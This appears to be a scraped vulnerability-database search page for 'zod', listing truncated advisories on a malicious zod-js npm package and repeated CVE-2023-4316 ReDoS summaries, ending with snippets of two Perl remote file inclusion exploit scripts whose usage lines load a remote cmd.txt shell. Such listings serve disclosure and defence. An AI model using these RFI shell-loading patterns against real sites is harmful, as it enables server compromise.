162 matches found
MAL-2026-346 Malicious code in zod-js (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a8d6e0134575d22df9c8acb633e41aeb44e167203581cee75c81264667e9bdee The package zod-js was found to contain malicious code. Source: ghsa-malware df349fd5990c0cb74fcaa574f32fd30796c00bbe619ee60bd0eac1a658c7dd49 Any...
EUVD-2023-2547
Malicious code in bioql PyPI...
@kentcdodds/workshop-app (>=1.41.0, <=1.46.7), remix-server-kit (>=3.0.0-beta1, <=3.0.0-beta4) potentially affected by CVE-2024-32866 via @conform-to/zod (>=0.5.1, <=0.7.4)
@conform-to/zod NPM version =0.5.1, =1.41.0, =3.0.0-beta1, =3.0.0-beta4 Source cves: CVE-2024-32866 Source advisory: OSV:GHSA-624G-8QJG-8QXF...
Regular Expression Denial Of Service (ReDoS)
zod is vulnerable to Denial of Service DoS. The vulnerability is due to an inefficient regex expression that parses email addresses. An attacker can submit long email addresses, which will cause the Zod application to crash or become unresponsive...
Zod denial of service vulnerability during email validation
Impact API servers running express-zod-api having: - version of express-zod-api below 10.0.0-beta1, - and using the following or similar validation schema in its implementation: z.string.email, are vulnerable to a DoS attack due to: - Inefficient Regular Expression Complexity in zod versions up t...
GHSA-MVRP-3CVX-C325 Zod denial of service vulnerability during email validation
Impact API servers running express-zod-api having: - version of express-zod-api below 10.0.0-beta1, - and using the following or similar validation schema in its implementation: z.string.email, are vulnerable to a DoS attack due to: - Inefficient Regular Expression Complexity in zod versions up t...
Zod denial of service vulnerability
Zod version 3.22.2 allows an attacker to perform a denial of service while validating emails...
24social-ui (>=1.0.0, <=1.0.5), 3extensions (1.0.1) +3810 more potentially affected by CVE-2023-4316 via zod (>=3.0.0, <=3.22.2)
zod NPM version =3.0.0, =1.0.0, =0.0.7, =1.0.0, =3.0.0-beta.21, =2.4.0, =1.6.1, =1.0.6, =1.2.4, =0.0.1, =0.1.0, =0.1.23, =0.20.0, =0.0.0-dev-20240828032938, =3.1.0 and more Source cves: CVE-2023-4316 Source advisory: OSV:GHSA-M95Q-7QP3-XV42...
GHSA-M95Q-7QP3-XV42 Zod denial of service vulnerability
Zod version 3.22.2 allows an attacker to perform a denial of service while validating emails...
CVE-2023-4316
Zod in versions 3.21.0 up to and including 3.22.3 allows an attacker to perform a denial of service while validating emails...
Denial of service
Zod in version 3.22.2 allows an attacker to perform a denial of service while validating emails...
CVE-2023-4316 Zod 3.22.2 - Regular expression Denial of Service
Zod in versions 3.21.0 up to and including 3.22.3 allows an attacker to perform a denial of service while validating emails...
CVE-2023-4316
CVE-2023-4316 affects Zod versions 3.21.0 through 3.22.3, enabling denial-of-service when validating emails due to inefficient regex handling. Affected software: Zod (JavaScript/TypeScript). Root cause: regex-based email validation can be exploited to exhaust resources. Impact: DoS during email v...
CVE-2023-4316 Zod 3.22.2 - Regular expression Denial of Service
Zod in versions 3.21.0 up to and including 3.22.3 allows an attacker to perform a denial of service while validating emails...
CVE-2023-4316 Zod 3.22.2 - Regular expression Denial of Service
Zod in versions 3.21.0 up to and including 3.22.3 allows an attacker to perform a denial of service while validating emails...
PT-2023-28722 · Zod · Zod
Name of the Vulnerable Software and Affected Versions: Zod versions 3.21.0 through 3.22.3 Description: The issue allows an attacker to perform a denial of service while validating emails. This is related to a ReDoS vulnerability. Recommendations: For versions 3.21.0 through 3.22.3, update to a...
CVE-2023-4316: Inefficient Regular Expression Complexity
Zod in versions 3.21.0 up to and including 3.22.3 allows an attacker to perform a denial of service while validating emails...
npm zod security vulnerability
npm zod is a TypeScript-first schema declaration and validation library from npm USA. A security vulnerability exists in Zod version 3.22.2, which stems from a vulnerability that allows an attacker to perform a denial-of-service attack while validating an email...
vwar.pl.txt
!/usr/bin/perl VWar perl vwar.pl http://site.com/vwar/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck, and everyone else! special shout to illwill! Contact: www.exploitercode.com irc.exploitercode.com...
SQuery 4.5 - libpath Remote File Inclusion
SQuery 4.5 - libpath Remote File Inclusion !/usr/bin/perl SQuery perl squery.pl http://site.com/SQuery/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck, blackhat-alliance.org, and everyone else! special shout to...